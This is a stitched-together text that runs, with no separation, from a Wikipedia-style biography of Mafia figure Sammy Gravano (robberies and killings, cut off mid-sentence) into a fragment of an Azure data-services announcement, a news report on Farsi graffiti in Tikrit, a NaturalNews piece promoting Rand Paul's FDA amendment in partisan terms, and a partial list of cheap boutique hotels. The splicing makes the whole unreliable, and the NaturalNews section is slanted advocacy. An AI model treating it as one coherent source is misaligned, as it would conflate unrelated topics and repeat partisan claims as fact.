Sammy was involved in a bank robbery with Shorty. The bank was on a corner and Tommy Spero had a guy on the inside which said that there was only one guard on that route. The bank had a side door on the street and then there was a little foyer and another door to the bank itself. This was the route the armoured car people used to pick up money from the bank. Tommy said that at this particular branch, they only used one guard to bring out the money bags. Tommy's inside guy would leave the side door on the street open, so Gravano could slip into the foyer and get the guard when he comes out of the bank. Tommy was at the corner by the bank to get the signal from his guy. Frankie is at another corner to cover Gravano. Tommy nods to Gravano giving him the signal so Gravano goes through the side door, the inside door of the bank opened up there were four guards instead of the expected one, three of the guards were holding the money bags the other had a gun but luckily for Gravano he pulled his gun first and they all went on the floor, Gravano grabs the money and goes out through a solid door which he slams shut but one of the money bags is open and the cash is flying all over the street so Gravano just runs into the crowd of people picking up the money thinking the guards won't shoot because of the crowd. While Sammy was running an unknown person brought him into his house and helped him evade the police. Despite being picked out of a mugshot book again and for $10,000 the guard said he wouldn’t testify, so Carmine Persico loaned Gravano $10,000 but Gravano has to give Persico three points on the money.
Gravano stated in his book Underboss that he was in a crew with Shorty, the others in the crew were Frankie, Ralphie Ronga, Joe Colucci, Lenny the Mole, who was also from the Rampers and Tommy Spero Shorty's nephew
Sammy Gravano stated in his book Underboss that he had already had a run in with Colombo he beat both of his sons up in a movie house.Colombo called Gravano in for this and surprisingly told him he must be good with his hands and that he liked how he conducted himself.Despite this incident Gravano became a particular favorite of family boss Joe Colombo, who used Gravano to picket the FBI Manhattan headquarters as part of his Italian-American Civil Rights League initiative.[3][page needed][5] Gravano's rise was so precipitous that it was generally understood that he would be among the first to become made when the Cosa Nostra's membership books were reopened (they had been closed since 1957).[3][page needed]
In 1970, Gravano committed his first murder—that of Joseph Colucci, a fellow Spero associate with whose wife Tommy Spero was having an affair.[5] Gravano described the experience thus:
As that Beatles song played, I became a killer. Joe Colucci was going to die. I was going to kill him because he was plotting to kill me. I felt the rage inside me.... Everything went in slow motion. I could almost feel the bullet leaving the gun and entering his skull. It was strange. I didn't hear the first shot. I didn't see any blood. His head didn't seem to move.... I felt like I was a million miles away, like this was all a dream.[3][page needed]
The Colucci murder won respect and approval from Persico for Gravano.[5] Gravano later became a mentor to Colucci's son, Jack Colucci, who became involved in the construction industry as a Gambino associate.
Made man [ edit ]
In the early 1970s, Colombo soldier Ralph Spero, brother of Shorty, became envious of Gravano's success, fearing that he would become a made man before his son, Tommy.[4] This rivalry culminated with the death of Ralph Ronga, another Colombo family associate in Ralph Spero's crew. After Ronga's death, a rumor had spread that Gravano had attempted to pick up Ronga's widow Sybil Davies at a bar, though Gravano maintained that Davies was the one hitting on him. Ralph Spero used this rumor in an attempt to gain support to have Gravano killed, or as an excuse to kill Gravano himself. Shorty Spero believed Gravano's side of the story over his brother Ralph.[3] However, to avoid conflict, Shorty Spero allowed Gravano to leave the Colombo family and join the Gambino crime family.[5]
Now with the Gambinos, Gravano became an associate of capo Salvatore "Toddo" Aurello. Aurello quickly took a liking to Gravano and became his mob mentor.[5] Around this time, Gravano took a construction job (he later claimed to have considered leaving the criminal life).[3][page needed] A former associate, however, falsely claimed to the New York District Attorney's Office that Gravano and another associate were responsible for a double murder from 1969.[5] After Gravano was indicted, he desperately needed money to pay his legal bills. He quit his construction job and went on a self-described "robbing rampage" for a year and a half.[3][page needed] One week into the trial, the prosecution moved to dismiss the charges. Gravano later said of this legal problem:
That pinch (arrest) changed my whole life. I never, ever stopped a second from there on in. I was like a madman. Never stopped stealing. Never stopped robbing. I was obsessed.[3][page needed]
Gravano's robbery spree impressed Aurello, who proposed him for membership in the Gambino family. In 1976, the Cosa Nostra's membership books were finally reopened and Gravano became one of the first to be sworn in.[5]
Gambino soldier [ edit ]
Family loyalty [ edit ]
Gravano's loyalty to his dueling families was put to the test in 1978, when the erratic behavior of his brother-in-law, Nicholas Scibetta, attracted the attention of Gambino leadership. Scibetta, the brother of Gravano's wife, had developed an alcohol problem and soon started using cocaine. A series of altercations with mob associates followed, one of which ended with Scibetta having his adversary arrested, earning Scibetta a reputation as a rat. Scibetta sealed his fate when he insulted the daughter of George DeCicco, uncle of Gambino member Frank DeCicco.[5] Hearing the news, Gravano gave his brother-in-law a beating in an attempt to forestall worse punishment. The elder DeCicco, however, was incensed and took the matter to boss Paul Castellano, who ordered a hit on Scibetta.[5]
The order was given to Frank DeCicco, who was told not to inform Gravano. DeCicco gave the contract to Liborio "Louie" Milito and Josephy "Stymie" D'Angelo, Sr., two associates on Gravano's crew. After consultation, the three agreed it was wrong not to tell Gravano. DeCicco went to Castellano and persuaded him to give permission to inform Gravano, but Castellano also authorized DeCicco to kill Gravano if he opposed the murder. According to Gravano, he was initially livid at the news and threatened to kill Castellano, but DeCicco eventually convinced him opposition would be futile and Gravano acquiesced to the murder.[3][page needed]
The only part of Scibetta's body ever recovered was one of his hands, and he was declared legally dead in 1985.[5] How Scibetta was killed, as well as the exact extent of Gravano's involvement, remains unknown.
Around this time, Gravano opened an afterhours club in Bensonhurst. The bar was the scene of a violent altercation one night, involving a rowdy biker gang intent on ransacking the establishment, which may have served as inspiration for a similar scene in the 1993 film A Bronx Tale. A melee ensued, in which Gravano broke his ankle and the bikers were chased off. Gravano then went to Castellano and received permission to murder the leader of the gang. Along with Milito, Gravano hunted down the leader, wounding him and killing another member of the gang.[5] Castellano was flabbergasted when he learned the crutch-ridden Gravano personally took part in the hit.[5]
Construction magnate [ edit ]
Like his predecessor Carlo Gambino, Castellano favored emphasizing more sophisticated schemes involving construction, trucking, and garbage disposal over traditional street-level activities such as loansharking, gambling, and hijackings.[5] Castellano had a particular interest in the construction business.[3][page needed] Gravano began to change his boss' cowboy image of him when he entered into the plumbing and drywall business with his friend, Edward Garafola.[5] Gravano's construction and other business interests soon earned him a reputation as a "good earner" within the Gambino organization and made him a multi-millionaire, enabling him to build a large estate for his family in rural Ocean County, New Jersey.[3][page needed] Flush with cash, Gravano also invested in trotting horses to race at the Meadowlands Racetrack in East Rutherford, New Jersey. Gravano also became the operator of a popular discotheque, The Plaza Suite, in the Gravesend section of Brooklyn.[5] Gravano reportedly made $4,000 a week from the Plaza Suite alone.[5] Gravano also used the club as his construction racket headquarters.[5]
Simone murder [ edit ]
Gravano further ingratiated himself to Castellano when he interceded in a civil war that had erupted within the Philadelphia crime family. In March 1980, longtime Philadelphia boss, Angelo Bruno, was assassinated by his consigliere, Antonio Caponigro, without authorization from The Commission. The Commission summoned Caponigro to New York, where it sentenced him to death for his transgression. After Caponigro was tortured and killed, Philip Testa was installed as the new Philadelphia boss and Nicky Scarfo as consigliere. The Commission subsequently placed contracts on Caponigro's co-conspirators, including John "Johnny Keys" Simone, who also happened to be Bruno's cousin. The Simone contract was given to Gravano.[3][page needed]
After befriending Simone through a series of meetings, Gravano, with the assistance of Milito and D'Angelo, abducted Simone from Yardley Golf Club in Yardley, Pennsylvania, (part of suburban Trenton, New Jersey) and drove him to a wooded area on Staten Island.[3][page needed] Gravano then granted Simone's requests to die with his shoes off, in fulfillment of a promise he had made to his wife, and at the hands of a made man. After Gravano removed Simone's shoes, Milito shot Simone in the back of the head, killing him.[3][page needed] Gravano later expressed admiration for Simone as a so-called "man's man", remarking favorably on the calmness with which he accepted his fate.[3][page needed] Gravano earned praise from Castellano for the killing.[5]
Fiala murder [ edit ]
By the early 1980s, the Plaza Suite was a thriving establishment.[7] Patrons often had to wait an hour to get in and the club featured high-profile live acts such as singers Chubby Checker and the Four Tops.[7]
In 1982, Frank Fiala, a wealthy businessman and drug trafficker, paid Gravano $40,000 to rent the Plaza Suite for a birthday party he was throwing himself. Two days after the party, Gravano accepted a $1,000,000 offer from Fiala to buy the establishment, which Gravano had only valued at $200,000.[5] The deal was structured to include $100,000 cash as a down payment, $650,000 in gold bullion under the table, and a $250,000 payment at the real estate closing.[3][page needed]
Before the transaction was completed, Fiala began acting like he already owned the club. He started remodeling it and hired his own bouncers. The final provocation was when Fiala moved into Gravano's private office and began breaking through an office wall. Gravano, enraged, stormed into the office followed by Garafola. Fiala was standing behind Gravano's desk. He sat down in Gravano's chair, smirking at the two men.
"What do you think you're doing?" Gravano growled. "This doesn't belong to you till the closing. Get the hell out of here." Fiala reached into a desk drawer, removed an Uzi machine pistol and aimed it at the two men. Ordering them to sit down, Fiala stated, "You fucking greaseballs, you do things my way."
Upon leaving the Plaza Suite, Gravano called Garafola and set up an ambush outside the club, involving Garafola, Milito, D'Angelo, Nicholas Mormando, and Michael DeBatt in the plan.[3][page needed] Later that night, Gravano confronted Fiala on the street as he exited the Plaza Suite among a group of people, asking, "Hey, Frank, how you doing?"[7] As Fiala turned around, surprised to see Gravano, Milito came up behind him and shot him in the head.[3][page needed] Milito stood over the body and fired a shot into each of Fiala's eyes as Fiala's entourage and the crowd of people on the street dispersed, screaming.[3][page needed] Gravano then walked up to Fiala's corpse and urinated on his mouth.[3][page needed]
Although Gravano believed the entire neighborhood knew he was responsible for the murder, he was never charged for the crime: Gravano had made a $5,000 payoff to the lead New York Police Department homicide detective Louis Eppolito to ensure that the investigation yielded no leads.[7]
Although Gravano evaded criminal charges, he incurred Castellano's wrath over the unsanctioned killing. Gravano attempted to lie low for nearly three weeks afterwards, during which time he called his crew together and made the decision to kill Castellano if necessary.[5] Gravano and Milito were then summoned to a meeting with Castellano at a Manhattan restaurant. Castellano had been given the details of what Fiala had done, but he was still livid that Gravano had not come to him for permission to kill Fiala first. Gravano, however, was spared execution when he convinced Castellano that the reason he had kept him in the dark was to protect the boss in case something went wrong with the hit.[5]
Fiala's murder posed one final problem for Gravano in the form of the Internal Revenue Service (IRS). The high publicity generated by the incident triggered an IRS investigation into Gravano and Fiala's deal for the sale of the Plaza Suite and Gravano was subsequently charged with tax evasion. Gravano was represented by Gerald Shargel and acquitted at trial.[5]
Gravano's relief at being acquitted was tempered by news that a close friend, D'Angelo, had been killed by a Colombo family associate celebrating his having been proposed for membership. The killer was then murdered, himself, on orders from the Colombo family.[5]
Aligning with Gotti [ edit ]
In the aftermath of the Fiala murder, Gravano continued to focus on his construction business, branching out into the lucrative concrete paving industry. New York City's cement industry was controlled by four of the Five Families, which made millions of dollars by manipulating bids and steering contracts.[5] Gravano said in 1998, "I literally controlled Manhattan, literally. You want concrete poured in Manhattan? That was me. Tishman, Donald Trump, all these guys—they couldn't build a building without me."[8]
Gravano eventually became embroiled in a dispute with business partner Louie DiBono, a member of another Gambino crew.[3][page needed] A sit-down with Castellano was held, at which an irate Gravano accused DiBono of withholding $200,000 in payments for subcontracts and threatened to kill DiBono.[3][page needed] Gambino underboss Neil Dellacroce intervened on Gravano's behalf and Castellano told the two men to end their business partnership, though Gravano's standing with the boss slipped as a result of the incident. Dellacroce, however, was rising star John Gotti's mentor, and when word got back to him that Dellacroce had supported Gravano, Gotti was impressed.[5]
During this time, the FBI had intensified its efforts against the Gambino family and in August 1983, three members of Gotti's crew – Angelo Ruggiero, John Carneglia, and Gene Gotti – were indicted for heroin trafficking. Castellano was against anyone in the family dealing narcotics. Castellano planned to kill Gene Gotti and Ruggiero if he believed they were drug traffickers. Castellano asked Ruggiero for a copy of the government surveillance tapes that had Ruggiero's conversations. To save Gene Gotti and Ruggiero, Dellacroce stalled the demand. Eventually, one of the reasons for Gotti's killing Castellano was to save his brother and Ruggiero. The FBI had bugged Ruggiero's house and telephone, and Castellano decided he needed copies of the tapes to justify his impending move to Dellacroce and the family's other capos.[5][9]
When Castellano was indicted for both his connection to Roy DeMeo's stolen car ring and as part of the Mafia Commission Trial, he learned his own house had been bugged on the basis of evidence from the Ruggiero tapes and he became livid.[5] In June 1985, he again demanded that Dellacroce get him the tapes.[9] Both Dellacroce and Gotti tried to convince Ruggiero to comply if Castellano explained beforehand how he intended to use the tapes, but Ruggiero refused, fearing he would endanger good friends.[9]
Three months later, Gravano was approached by Robert DiBernardo, a fellow Gambino member acting as an intermediary for Gotti. DiBernardo informed him that Gotti and Ruggiero wanted to meet with him in Queens.[5] Gravano arrived to find only Ruggiero was present. Ruggiero informed Gravano that he and Gotti were planning to murder Castellano and asked for Gravano's support.[5] Gravano was initially noncommittal, wanting to confer first with Frank DeCicco. In conversation with DeCicco, both men voiced concern that Castellano would designate his nephew, Thomas Gambino, acting boss and his driver, Thomas Bilotti, underboss in the event he was convicted and sent to prison.[3][page needed] Neither man appealed to Gravano or DeCicco as leadership material, and they ultimately decided to support the hit on Castellano.[3][page needed]
Castellano murder [ edit ]
Gravano's second choice to become boss after Castellano's murder was Frank DeCicco, but DeCicco felt John Gotti's ego was too big to take a subservient role.[3][page needed] DeCicco argued that Gotti's boldness, intelligence, and charisma made him well-suited to be "a good boss" and he convinced Gravano to give Gotti a chance.[3][page needed] DeCicco and Gravano, however, also made a secret pact to kill Gotti and take over the family as boss and underboss, respectively, if they were unhappy with Gotti's leadership after one year.[3][page needed] The conspirators' first order of business was meeting with other Gambino members, most of whom were disaffected under Castellano, and gaining their support for the hit.[4] They also recruited longtime capo Joseph "Piney" Armone into the conspiracy. Armone's support was critical; he was a respected old-timer in the family, and it was believed he could help win over Castellano supporters to the new regime.[10]
The next step was smoothing over the planned hit with the other families. It has long been a hard and fast rule in the Mafia that killing a boss is forbidden without the support of a majority of the Commission. Indeed, Gotti's planned hit would have been the first off-the-record hit on a boss since Frank Costello was nearly killed in 1957. Knowing it would be too risky to approach the other four bosses directly, the conspirators got the support of several important mobsters of their generation in the Lucchese, Colombo and Bonanno families.[10] Gotti and Ruggiero then sought and obtained the approval of key figures from the Colombos and Bonannos, while DeCicco secured the backing of top mobsters aligned with the Luccheses.[3][page needed] They did not even consider approaching the Genoveses; Castellano had especially close ties with Genovese boss Vincent "Chin" Gigante, and approaching any major Genovese figure, even one of their generation, could have been a tipoff. Gotti could thus claim he had the support of "off-the-record contacts" from three out of five families.[10] With Neil Dellacroce's death on December 2, 1985, the final constraint on a move by Gotti or Castellano against the other was removed. Gotti, enraged that Castellano chose not to attend his mentor's wake, wasted little time in striking.[5]
Not suspecting the plot against him, Castellano invited DeCicco to a meeting on December 16, 1985, with fellow capos Thomas Gambino, James Failla, and Danny Marino at Sparks Steak House in Manhattan. The conspirators considered the restaurant a prime location for the hit because the area would be packed with bustling crowds of holiday shoppers, making it easier for the assassins to blend in and escape.[4] The plans for the assassination were finalized on December 15, and the next afternoon, the conspirators met for a final time on the Lower East Side. At Gotti's suggestion, the shooters wore long white trench coats and black fur Russian hats, which Gravano considered a "brilliant" idea.[3][page needed]
Gotti and Gravano arrived at the restaurant shortly before 5 o'clock and, after circling the block, parked their car across the intersection and within view of the entrance.[3][page needed] Around 5:30, Gravano spotted Castellano's Lincoln Town Car stopped at a nearby intersection and, via walkie talkie, alerted the team of hitmen stationed outside the restaurant of Castellano's approach.[11] Castellano's driver, Thomas Bilotti, pulled the car up directly in front of the entrance. As Castellano and Bilotti exited the Lincoln, the roughly half dozen shooters moved in and opened fire, killing both men in a barrage of bullets.[11] As the hat-and-trench-coat-adorned men slipped away into the night, Gotti calmly drove the car past the front of the restaurant to get a look at the scene.[5] Looking down at Bilotti's body from the passenger window, Gravano remarked, "He's gone."[11]
Co-underboss and consigliere [ edit ]
The new regime [ edit ]
After Castellano's death, Gallo–the only surviving member of the hierarchy–convened a three-man committee to temporarily run the family, comprising himself, Gotti and DiCicco. However, it was an open secret that Gotti was acting boss in all but name, and nearly all of the family's capos knew he had been the one behind the hit. Gotti was formally acclaimed as the new boss of the Gambino family at a meeting of 20 capos held on January 15, 1986.[12] Gotti, in turn, selected DeCicco as his underboss and elevated Gravano to capo after Toddo Aurello announced his desire to step down.[5]
Gotti was duly recognized as boss by the other families, including the Genovese family, whose approval for the hit on Castellano had been deliberately bypassed by Gotti and his co-conspirators. Accordingly, he assumed the Gambinos' seat on the Commission. The Genovese family, however, was still upset that Gotti had proceeded without the full sanctioning of the Commission and cryptically announced that a Mafia rule had been broken, for which somebody would have to pay if and when the Commission, which was in disarray at the time due to the Mafia Commission Trial, met again.[3][page needed] Gravano and DeCicco had been hiding out in safe houses, but they took the other families' full recognition of Gotti as an indication that it was safe to resurface.[3][page needed]
The Genoveses made good on their veiled threat in April 1986, when DeCicco was killed by a car bomb outside of Castellano's former social club in Bensonhurst, then operated by Gambino capo James Failla. Gravano was at the club at the time and was blown off his feet by the blast.[3][page needed] Gravano attempted to pull DeCicco from the wreckage but realized it was no use when he saw various body parts scattered about.[3][page needed]
The attack was orchestrated by Gigante, with the backing of Lucchese leaders Vittorio "Vic" Amuso and Anthony "Gaspipe" Casso.[13] The bomb was intended to kill both DeCicco and Gotti, who was supposed to be at the club for a meeting with Gravano and DeCicco.[13] Gotti, however, couldn't make the meeting and rescheduled for later that evening at the Ravenite Social Club in Manhattan.[13] Failla and fellow capo Daniel Marino were two of Castellano's closest associates before his death and both men were in on Gigante's plot.[13] In exchange for a promise to be designated co-leaders of the Gambino family after the assassinations, Failla and Marino provided intelligence and tipped off the plotters to the planned meeting in Bensonhurst.[3][page needed][13] The plotters reportedly used a car bomb for the attack in order to divert suspicion.[14] The method had its intended effect, as Gotti and Gravano considered and dismissed the possibility that Gigante was behind the plot, reasoning, "[H]e wouldn't use... bombs."[14]
With DeCicco dead, the Gambinos were left without an underboss. Gotti chose to fill the vacancy by naming Angelo Ruggiero and Gravano co-underbosses.[5]
"Nicky Cowboy" murder [ edit ]
The first person on Gravano's hit list after Castellano's murder was Nicholas "Nicky Cowboy" Mormando, a former member of his crew.[3][page needed] Mormando had become addicted to crack cocaine and was suspected by Gravano of getting friend and fellow crew member Michael DeBatt addicted to the drug. According to Gravano, Mormando started to act "like a renegade... berserk".[3][page needed] The final straw came when Mormando announced he no longer wanted to be in the crew and planned to start his own gang. Gravano decided he "couldn't take a chance" because Mormando "knew too |
ni CTO Daron Yondem. “Integrating Azure Search into our platform will help solidify our leadership as datasets and faceted search requirements evolve over time.”
General availability of Apache HBase for HDInsight
In partnership with Hortonworks, we’ve invested in the Hadoop ecosystem through contributions across projects like Tez, Stinger and Hive. Azure HDInsight, our Hadoop-based service, is another outcome of that partnership.
Azure HDInsight combines the best of Hadoop open source technology with the elasticity and manageability that enterprises require. Today, we’re making generally available HBase as a managed cluster inside HDInsight. HBase clusters are configured to store data directly in Azure Blob storage. For example, customers can use HDInsight to analyze large datasets in Azure Blobs generated from highly-interactive websites or can use it to analyze sensor and telemetry data from millions of end points.
Microsoft data services
Azure data services provide unparalleled choice for businesses, data scientists, developers and IT pros with a variety of managed services from Microsoft and our partners that work together seamlessly and connect to our customers’ data platform investments– from relational data to non-relational data, structured data to unstructured data, constant and evolving data models. I encourage you to try out our new and expanded Azure data services and let us know what you think.
*Gartner, Hype Cycle for Information Infrastructure, 2014, Mark Beyer and Roxane Edjlali, 06 August 2014
###Graffiti written in Farsi outside the presidential palace in Tikrit, Iraq. The translation says, "The Sepah of Khomeini defeated Daesh" - sepah being a term for the Iranian Revolutionary Guard Corps. Given that U.S.-led forces were bombing until Monday night, it would imply that they gave air cover to troops who included Iranians (though Iraqis deny there were any Iranian ground forces). (Loveday Morris/The Washington Post)
TIKRIT — In the center of the Iraqi city of Tikrit, freshly sprayed graffiti on walls and shop fronts record the names of the groups that fought against Islamic State militants here.
While the Iraqi government insists that only Iraqi ground troops were involved, spray paint scrawled outside the city’s newly freed former presidential palace compound points to heavy Iranian influence on the ground and the possibility that some of Tehran's forces were present — even as planes from the U.S.-led coalition struck overhead.
“The Sepah of Khomeini defeated Daesh,” the graffiti read, but instead of Iraq’s native Arabic, it was written in the Farsi of neighboring Iran. Sepah, meaning “corps,” is a term used to refer to the Iranian Revolutionary Guard Corps set up by Iran's late Ayatollah Ruhollah Khomeini. Daesh is a term for the Islamic State derived from its Arabic acronym.
“Death to America” and “Death to Israel,” the Farsi graffiti continues, next to a large painting of the Islamic State flag.
The graffiti, however, also could have been the work of Iraqi militiamen interested in emphasizing an Iranian role.
In the distance, a hulking palace built by former president Saddam Hussein is partially obliterated by airstrikes — presumably launched from planes of the U.S.-led coalition, which were hitting targets in the city up until ground forces launched their final push on Monday night.
It’s a reminder that the battle for Tikrit has brought the United States and Iran into uncomfortably close quarters as they both try to prop up Iraq’s battle against militants from the Islamic State. A string of Shiite militias were present in the city Wednesday after entering in the wake of the bombing campaign, including Asaib Ahl al-Haq, the Badr Organization and Kitaeb Imam Ali.
While Iranian-backed militias have played down the U.S. role in the offensive and accusedthe coalition of bombing their positions instead of those of the enemy, Washington also has been keen to stress the role of regular Iraqi security forces in an offensive where the militias played a major part.
Maj. Curtis Kellogg, a spokesman for U.S. Central Command, said in a written statement, "Based on our interaction with the Iraqi Government and reporting received through our Joint Operations Centers in Iraq, all pre-conditions for the execution of coalition airstrikes were met, to include we are not aware of any involvement by Iranian military advisors in the Tikrit offensive following the commencement of Coalition airstrikes."
Declaring victory in Tikrit on Tuesday, Iraqi Prime Minister Haider al-Abadi stressed that it was only Iraqi blood that was shed, though he said the fact that Iranian advisers were in the country was no secret. His spokesman wasn't available Wednesday night.
“We aren’t doing anything in secret that we are afraid to announce,” Abadi said. But the presence of small numbers of Iranian units has long been rumored, and a senior Iranian cleric close to the revolutionary guard said that combat troops from its elite Quds Force travel to Iraq “from time to time for specific operations.”Sen. Rand Paul's press release
TOP-LINE POINTS
(NaturalNews) In a stunning and completely unannounced move, US Senator Rand Paul -- who many agree represents the best hope for the restoration of liberty in America -- has introduced an amendment to a key FDA funding bill that seeks to sharply rein in the FDA's power. It would disarm the FDA and make the agency stop using guns against the American people; it would halt the FDA's armed raids on raw milk farmers; it would also stop the FDA's outrageous and longstanding censorship of truthful health claims of dietary supplements and medicinal herbs.This is a big deal. While it may not pass, given its sudden introduction and lack of enough time to build grassroots support, the very fact that U.S. Senator Rand Paul has introduced such an amendment is proof positive that Rand Paul is exactly the kind of leader that can help take our nation out of the age of government tyranny and censorship and into a new era of transparency, accountability and liberty. Ending the FDA's unconstitutional censorship of truthful health claims could, without question, help prevent disease and greatly reduce the out-of-control health care costs that are bankrupting America.Here is the full text of the announcement from Sen. Rand Paul's website:Today on the U.S. Senate floor, Sen. Rand Paul introduced an amendment to the Food and Drug Administration User Fee Reauthorization bill, which would curb the Food and Drug Associations overreach and abuse of power. Sen. Paul's amendment, No. 2143, would disarm the FDA, put an end to raids on natural food stores and Amish farmers, and stop FDA censorship of truthful claims of dietary supplements.Below is the video and transcript of his speech, as well as top-line points and background information regarding Sen. Paul's amendment.Watch a video of his speech at:ACTION ITEM: Post your comments in support of this on YouTube! We need to hammer YouTube with positive comments from people demanding health freedom and the end of FDA tyranny.President, today I'm offering an amendment to the FDA. I'm troubled by images of armed agents raiding Amish farms and preventing them selling milk directly from the cow. I think we have bigger problems in our country than sending armed FDA agents into peaceful farmers' land and telling them they can't sell milk directly from the cow.My amendment has three parts. First, it attempts to stop the FDA's overzealous regulations of vitamins, food and supplements by codifying the first amendment prohibition on prior restraint. What do I mean by that?The first amendment says you can't prevent speech, even commercial speech, in advance of the speech. You can't tell cheerios that they can't say there's a health benefit to their Cheerios. Under our current FDA laws, FDA says if you want to market prune juice, you can't say that it cures constipation.You can't make a health claim about a food supplement or about a vitamin, you can do it about a pharmaceutical, but you're not allowed to do it about a health supplement.I think this should change. There have been several court cases that show this goes against not only the spirit but the letter of the law of the First Amendment. So this amendment would change that.This amendment would stop the FDA from censoring claims about curative, mitigative effects of dietary supplements. It would also stop the FDA from prohibiting distribution of scientific articles and publications regarding the role of nutrients in protecting against disease.Despite four court orders condemning the practice as a violation of the First Amendment, the FDA continues to suppress consumers' right to be informed and to make informed choices by denying them this particular information. It's time for Congress to put an end to FDA censorship Second, my amendment would disarm the FDA.Now, some of you might be surprised the FDA is armed. Well, you shouldn't be.We have nearly 40 federal agencies that are armed. I'm not against having police, I'm not against the army, the military, the FBI, but I think bureaucrats don't need to be carrying weapons and I think what we ought to do, is if there is a need for an armed policeman to be there, the FBI who are trained to do this should do it. But I don't think it's a good idea to be arming bureaucrats to go on the farm to, with arms, to stop people from selling milk from a cow.I think we have too many armed federal agencies, and that we need to put an end to this. Criminal law seems to be increasing, increasingly is using a tool of our government bureaucracy to punish and control honest businessmen for simply attempting to make a living.Historically the criminal law was intended to punish only the most horrible offenses that everyone agreed were inherently wrong or evil, offenses like rape, murder, theft, arson - but now we've basically federalized thousands of activities and called them crimes.If bureaucrats need to involve the police, let's have them use the FBI, but I see no reason to have the FDA carrying weapons.Today the criminal law is used to punish behavior such as even fishing without a permit, packaging a product incorrectly or shipping something with an improper label.Simply said, the federal government's gone too far.The plain language of our Constitution specifies very few federal crimes. In fact, the Constitution originally only had four federal crimes and now we have thousands of federal crimes.We've moved beyond the original intent of the Constitution. We don't even know or have a complete list of all the federal crimes. It's estimated there are over 4,000, but no one has an exact number.Finally, my amendment will require adequate mens rea protection. In other words, when you have a crime, you're supposed to prove the intent. People have to have intended to harm someone, it can't be an honest mistake where a businessman or woman have broken a regulation and didn't intend to harm someone. If you want to convict someone of a crime and put them in jail, it should be a mens rea requirement.This is something we have had for hundreds of years, it comes out of our common-law tradition.This amendment would fix this problem by strengthening the mens rea component of each of the prohibited acts and the FDA acts by including the words "knowing" and "willful" before we address and accuse someone of a crime.This I think would give protection to folks who are guilty of inadvertently guilty of breaking a regulation and would keep from overflowing our jails. We've got plenty of violent criminals without putting people in for honest breaches of regulations. If Congress is going to criminalize conduct at the federal level as it does with the FDA act, the least it can do have is have an adequate mens rea requirement. My amendment will attempt to do this.It's not that we won't have rules at the federal level, but the rules ought to be reasonable. We ought to allow people to market vitamins. There's no earthly reason why somebody who markets prune juice can't advertise it helps with constipation.We've gone too far, and we've abrogated the First Amendment and what we need to do is tell the FDA that the courts have ruled that the First Amendment does apply to commercial speech and the FDA has been overstepping their bounds.Paul Amendment #2143 to S. 3187, the Prescription Drug User Fee ActPart I: Health Freedom Act -The amendment forces the FDA to at last comply with the commands of Congress, the First Amendment, numerous federal courts, and the American people by codifying the First Amendment prohibition on prior restraint.Stops the FDA from censoring truthful claims about the curative, mitigative, or preventative effects of dietary supplements.Stops the FDA from prohibiting the distribution of scientific articles and publications regarding the role of nutrients in protecting against disease.Amends the Federal Food, Drug, and Cosmetic Act (FFDCA) to deem a food to be misbranded only when its label includes a claim adjudicated to be false and/or misleading.Part II: Prohibitions on FDA Officials Carrying Firearms and Making Arrests Without WarrantsThis section disarms FDA agents (and any and all employees of HHS).Background:The plain language of our Constitution specifies a very limited number of federal crimes. These include treason,[1] counterfeiting,[2] piracy or felonies on the high seas,[3] and offenses against the laws of nations.[4]Yet today, we have over 4,450 criminal offenses in our federal statutes alone. This number does not include the thousands of criminal offenses scattered throughout federal regulations.In order to enforce all these crimes, we've armed our federal agencies, and there are now over 30 federal agencies that have employees authorized to carry firearms and use them.This cycle of criminalizing everything at the federal level and then arming all of our federal agencies needs to stop.Recent FDA armed raids of Amish dairy farmers selling "raw" milk directly from the cow present high-profile examples of why we need to have fewer armed federal agents (and fewer federal crimes).Part III: Mens Rea Component/Reform -This section amends the "Prohibited acts" section of the Federal Food, Drug and Cosmetic Act (21 USC SS 331) to strengthen the mens rea ("guilty mind") component of each of the prohibited acts. It adds the words "knowing and willful" to each of the prohibitions.Background:In 2010, the Heritage Foundation and the National Association of Criminal Defense Lawyers conducted a study and issued a report regarding the problem of not only the massive proliferation of federal criminal law in general, but particularly the erosion of any meaningful mens rea ("guilty mind") component to these federal laws.This report-Without Intent: How Congress Is Eroding the Criminal Intent Requirement in Federal Law-found that over 57% of the offenses considered by the 109th Congress alone contained inadequate mens rea requirements, putting the innocent at risk of criminal punishment. The study also discovered consistently poor legislative drafting and broad delegation of Congress's authority to make criminal laws to unelected officials in administrative agencies-"criminalization by regulation."If Congress is going to criminalize conduct at the federal level as it does in the Food, Drug and Cosmetic Act, then the least it can do is include an adequate mens rea component.Sometimes you just need to get away, it needs to be stylish, and you want spare change for great meals, cocktails and shopping. We’ve put together a list of 108 amazing boutique and luxury hotels with rooms under £100. 🏡☀️
Know an amazing hotel you think we’ve missed? Mention it in the comments! 💋
Skip to:
Australia
Belgium
Brazil
Cambodia
Colombia
France
Greece
Hungary
India
Indonesia
Ireland
Italy
Mexico
Morocco
Netherlands
Portugal
Romania
Singapore
South Africa
Spain
Sweden
Thailand
Turkey
United Kingdom
United States
Uruguay
Argentina
Hotel Pulitzer Buenos Aires
Buenos Aires, Argentina
Rooms start at £69.82
Maipú 907, Buenos Aires, Argentina, C1006ACM
More at Hotel Pulitzer Buenos Aires website
Finca Valentina
Salta, Argentina
Rooms start at £99.59
Ruta Nacional 51, km6 La Merced Chica, 4400, Salta, 4400
More at Finca Valentina website
Australia
QT Gold Coast
Gold Coast, Australia
Rooms start at £87.80
7 Staghorn Avenue, Gold Coast, Queensland 4217, Australia
More at QT Gold Coast website
QT Port Douglas
Port Douglas, Australia
Rooms start at £82.89
87-109 Port Douglas Road, Port Douglas, Queensland 4877, Australia
More at QT Port Douglas website
The Prince
Melbourne, Australia
Rooms start at £87.80
2 Acland Street, St Kilda, Melbourne, Victoria 3182, Australia
More at The Prince website
Ovolo Laneways
Melbourne, Australia
Rooms start at £97.61
19 Little Bourke Street, Melbourne, Victoria 3000, Australia
More at Ovolo Laneways website
Perry Street Hotel
Mudgee, Australia
Rooms start at £82.40
Corner Perry and Gladstone Streets, Mudgee, NSW 2850, Australia
More at Perry Street Hotel website
Belgium
Be Manos
Brussels, Belgium
Rooms start at £83.27
23–27 Square de l’Aviation, Brussels, Anderlecht, 1070
More at Be Manos website
Brazil
La Maison by Dussol
Rio De Janeiro, Brazil
Rooms start at £85.32
58 Rua Sérgio Porto, Gávea, Rio de Janeiro, Rio De Janeiro, 22451-430
More at La Maison by Dussol website
Cambodia
Heritage Suites Hotel
Siem Reap, Cambodia
Rooms start at £99.60
Wat Polangka, Siem Reap, Kingdom of Cambodia, Siem Reap, PO Box 93101
More at Heritage Suites Hotel website
